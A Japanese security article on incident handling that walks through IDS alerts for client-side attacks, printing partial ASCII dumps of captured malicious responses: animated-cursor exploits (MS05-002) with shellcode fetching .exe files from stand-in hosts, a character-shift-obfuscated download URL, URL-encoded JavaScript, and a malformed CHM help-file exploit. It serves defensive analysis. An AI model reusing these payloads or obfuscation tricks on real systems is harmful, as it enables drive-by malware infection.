今回もIDSのアラート例を基に解説するが、受動的攻撃のアラートは誤検知の率が高い。最近のものから選別して紹介する。
以下は、「MS05-002:カーソルおよびアイコンのフォーマットの処理の脆弱性により、リモートでコードが実行される(現:MS07-017)」の脆弱性を狙った不正なデータである。
HTTP/1.1 200 OK Server: test.example.com Date: Mon, 18 Jun 2007 21:00:00 GMT Connection: Keep-Alive Content-Type: image/jpeg Last-Modified: Sun, 02 Apr 2007 23:59:59 GMT Content-Length: 666 RIFF..#""ACONanih$...$...................................TSIL........TSIL........anihR................. .............................................^...........W.......3.I3.......G._......[........>..cmd >.B./c ""...3.PPh....RSP.!............>....t.@..>..""3.>.P...T3.3.....T}.>...............3.>.C,.... QSPPPPPPWP...........j...8Ut..x.....t.U...@...hOn..hurlm...D$.P./...P................ jlhntdl...D$.P.....P................h32..HusEr...D$.P.....P.[..............._...h....P.z........ K...h..http://test.example.com/tools/attack/aaa.exe.) |
リスト1 アニメーションカーソル脆弱性を狙う不正なデータの例 |
まず末尾のURLが「.exe」を指定していることがすでに怪しい。さらに「cmd」「h32」「user」の文字が確認できる。これらの要素を組み合わせるとWindowsの脆弱性を狙っているのではないかと推測できる。あとは、このデータがアニメーションカーソルのデータであるということを「anih」の文字から読み取れればMS05-002の脆弱性にたどり着ける。
もう1つ同様の脆弱性を狙った不正なデータを紹介する。
HTTP/1.1 200 OK Server: test.example.com Date: Mon, 18 Jun 2007 21:00:00 GMT Content-Type: text/html Content-Length: 1024 Accept-Ranges: bytes RIFF....ACONanih$...$....... ...........................TSIL........TSIL........anih................... .................................................................. ...wtnoqp0fnn..........K.B...... WTNFqypnqcfVqHkngC.U.......L.B.l.l...... e<^dqqv0kpz.Sl.....8.B.l......e<^dqqv0kpz........@.B.l..s................................. NqcfNkdtct{C.YkpGzge.GzkvRtqeguu.jvvr<11cv_knjc0eqo1ocp0gzg........... ...................................................................................b....._....B.f..2....]..]....] ....u..... .....^.B.c.R..Z.B...^.B.......IgvRtqeCfftguu............................................................... ............................................. |
リスト2 アニメーションカーソル脆弱性を狙う不正なデータの例2 |
前例よりさらに可読範囲が少なくなっている。なんとなく怪しいように見えるが、確証は得られないだろう。なお、上記例での文字はすべてASCIIコードで表示されている、印字不可の文字は“.”(ドット)で表現されている。
ここでは「jvvr<11」の文字に注目する。ASCIIコード表を見ながら、各文字の2バイト前に割り当てられている文字に変換してほしい。すると以下のようになる。
jvvr<11 → http:// |
では、該当の文字以降を変換してみる。
jvvr<11cv_knjc0eqo1ocp0gzg → http://example.com/man.exe |
ここまでくれば、前例と同じように攻撃と判断できるだろう。両者のペイロードはかなり異なるが、同じような方法を利用しているのである。
とはいえ、上記の文字に注目するには経験と知識が必要になる。ほかに注目できる点があるとすれば、「anih」が2回指定されていることが挙げられる。また、通常のアニメーションカーソルにあるrateやseqといったヘッダが指定されていないのもポイントだ【注】。
【注】
初見でこのデータがアニメーションカーソルファイル(.ani)であることは、マジックナンバーから判断できる。マジックナンバーとはバイナリデータ(ファイル)を特定するための識別子で、データの先頭に表記されることが多い(例えばGIFデータなら“GIF89a”など)。
この例では、データの先頭が「RIFF」から始まっている。RIFF(Resource Interchange File Format)は、音声や画像の共通フォーマットで、その後に続く「ACON」や「anih」というキーワードから、このデータがアニメーションカーソルファイルであることが特定できる。
通常のアニメーションカーソルデータと異なっているという事象からMS05-002の脆弱性との関連性を見つけるのは難しいが、アニメーションカーソルはWindowsで使用されるものであることを知っていれば導き出せるかもしれない。
管理者として最善の状態は、アニメーションカーソルのデータ形式を知っていて、かつ本脆弱性がどのようなものであるかを知っていることである。いずれにせよ、インシデントハンドリングでは怪しいと思った時点で次の行動に移る方がよい。
次は、JavaScriptを利用したものである。最近よく見られる攻撃パターンの1つである。
HTTP/1.1 200 OK Date: Thu, 09 Aug 2007 08:00:59 GMT Server: Apache X-Powered-By: PHP/4.4.4 Connection: close Content-Type: text/html <html><head><title>404 - Not Found </title></head> <Body>404 - Not Found <script>document.write(unescape("%3c%53%43%52%49%50%54%20 %4c%41%4e%47%55%41%47%45%3d%22%4a%61%76%61%53%63%72%69%70 %74%22%3e%66%75%6e%63%74%69%6f%6e%20%72%6e%6a%6d%6c%66%6f %62%74%61%28%72%72%72%29%7b%76%61%72%20%74%65%6d%70%3d%22 %22%3b%20%76%61%72%20%63%63%63%3d%30%3b%20%76%61%72%20%6f (中略) %75%74%2b%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43 %6f%64%65%28%70%61%72%73%65%49%6e%74%28%74%65%6d%70%2c%31 %36%29%2d%31%37%29%3b%74%65%6d%70%3d%22%22%3b%7d%64%6f%63 %75%6d%65%6e%74%2e%77%72%69%74%65%28%6f%75%74%29%3b%7d %3c%2f%53%43%52%49%50%54%3e")); |
リスト3 JavaScriptを利用した脆弱性を狙う不正なデータの例 |
上記のJavaScriptから攻撃かどうかの判断はすぐにはできないと思うが、普段JavaScriptのコードを見慣れている人なら怪しいと思うだろう。
「unescape」関数に渡されている文字はURLエンコードされたものであるが、このように人が目で見てすぐに判断できないような対処がされていると、「何かを隠そうとしているのではないか?」と疑うべきである。
実際にこれらの文字をデコードすると、不正なファイルを強制的にダウンロード、インストールするJavaScriptのコードが現れる。
なお、インシデントハンドリングにおいては、この時点での「何がインストールされたのか?」の調査は推奨されない。重要なのは「攻撃が成功したか?」であり、「クライアントホストのWebブラウザはJavaScriptを実行するように設定されていたか?」の調査である。
次は、ヘルプファイルの脆弱性を狙ったものを紹介する。
Data in ASCII: HTTP/1.1 200 OK Date: Mon, 18 Jun 2007 21:00:00 GMT Server: Apache Last-Modified: Sun, 02 Apr 2007 23:59:59 GMT ETag: ""266666-9caaaa-fa666666"" Accept-Ranges: bytes Content-Length: 123456 Keep-Alive: timeout=15, max=66 Connection: Keep-Alive Content-Type: text/plain ITSF...."......a...c/...........................x.......T......................l.................o..........(...........p.... ................!.........8.......&..........i1.............a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a. a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a. a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a. a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.....-............ i....+......../....91u...a.....q0,'.....bbb.exe.............4mz/..r.a. |
リスト4 ヘルプファイルの脆弱性を狙う不正なデータの例 |
まず、正常なヘルプファイルと見比べてみよう。
HTTP/1.1 200 OK Date: Mon, 18 Jun 2007 21:00:00 GMT Server: Apache Last-Modified: Sun, 02 Apr 2007 23:59:59 GMT ETag: ""266666-9caaaa-fa666666"" Accept-Ranges: bytes Content-Length: 123456 Keep-Alive: timeout=15, max=66 Connection: Keep-Alive Content-Type: text/plain ITSF....'.......-.""........|.{......."".....|.{.......""..'...............x.......T...................................... .ITSP....T...........................................j..].!.......""..T...............PMGL>................/.... /#IDX....I.../#ITB..../#STR....(..V./#SYS..~.C./#TOP....I.../#URL....- ..{./#URLBL....Y.T./$Main....*..../$OBJ......../$WWA/..../$WWA/Pro....... /$WWKeyLinks/..../$WWKeyLinks/Pro......./e.htm...r.R./se.htm..... R./key.htm...=.../keyf.htm....C.j./special.htm...t.M./tut.htm...M.C./doc/.... /doc/file.html...N.U./doc/script.html...#.M./doc/dobox.html...p.../doc/ box.html...p.U./doc/button.html...E.p./doc/docall.html...5..J./doc/ check.html.....C./doc/close.html) |
リスト5 正常なヘルプファイルのデータ例 |
両者の違いは明らかである。前者は可読できる部分が極端に少ない。後者の可読できる部分はファイルの構造で、chm形式のヘルプファイルに見られる一般的なデータ配列である。
ここで、前者の内容を見てみると、ヘルプファイルの一般的な形と合わないうえに何かしらの.exeファイルが記述されている。攻撃として調査を進めるには十分な怪しさである。上記例には記載していないが、実際のデータ配列を見ると複数の非印字文字が連続しているなど、バッファオーバーフローの特徴が見られる。
このように、Webクライアントを狙う不正なファイルはさまざまな形式で存在するのが現状である。
Copyright © ITmedia, Inc. All Rights Reserved.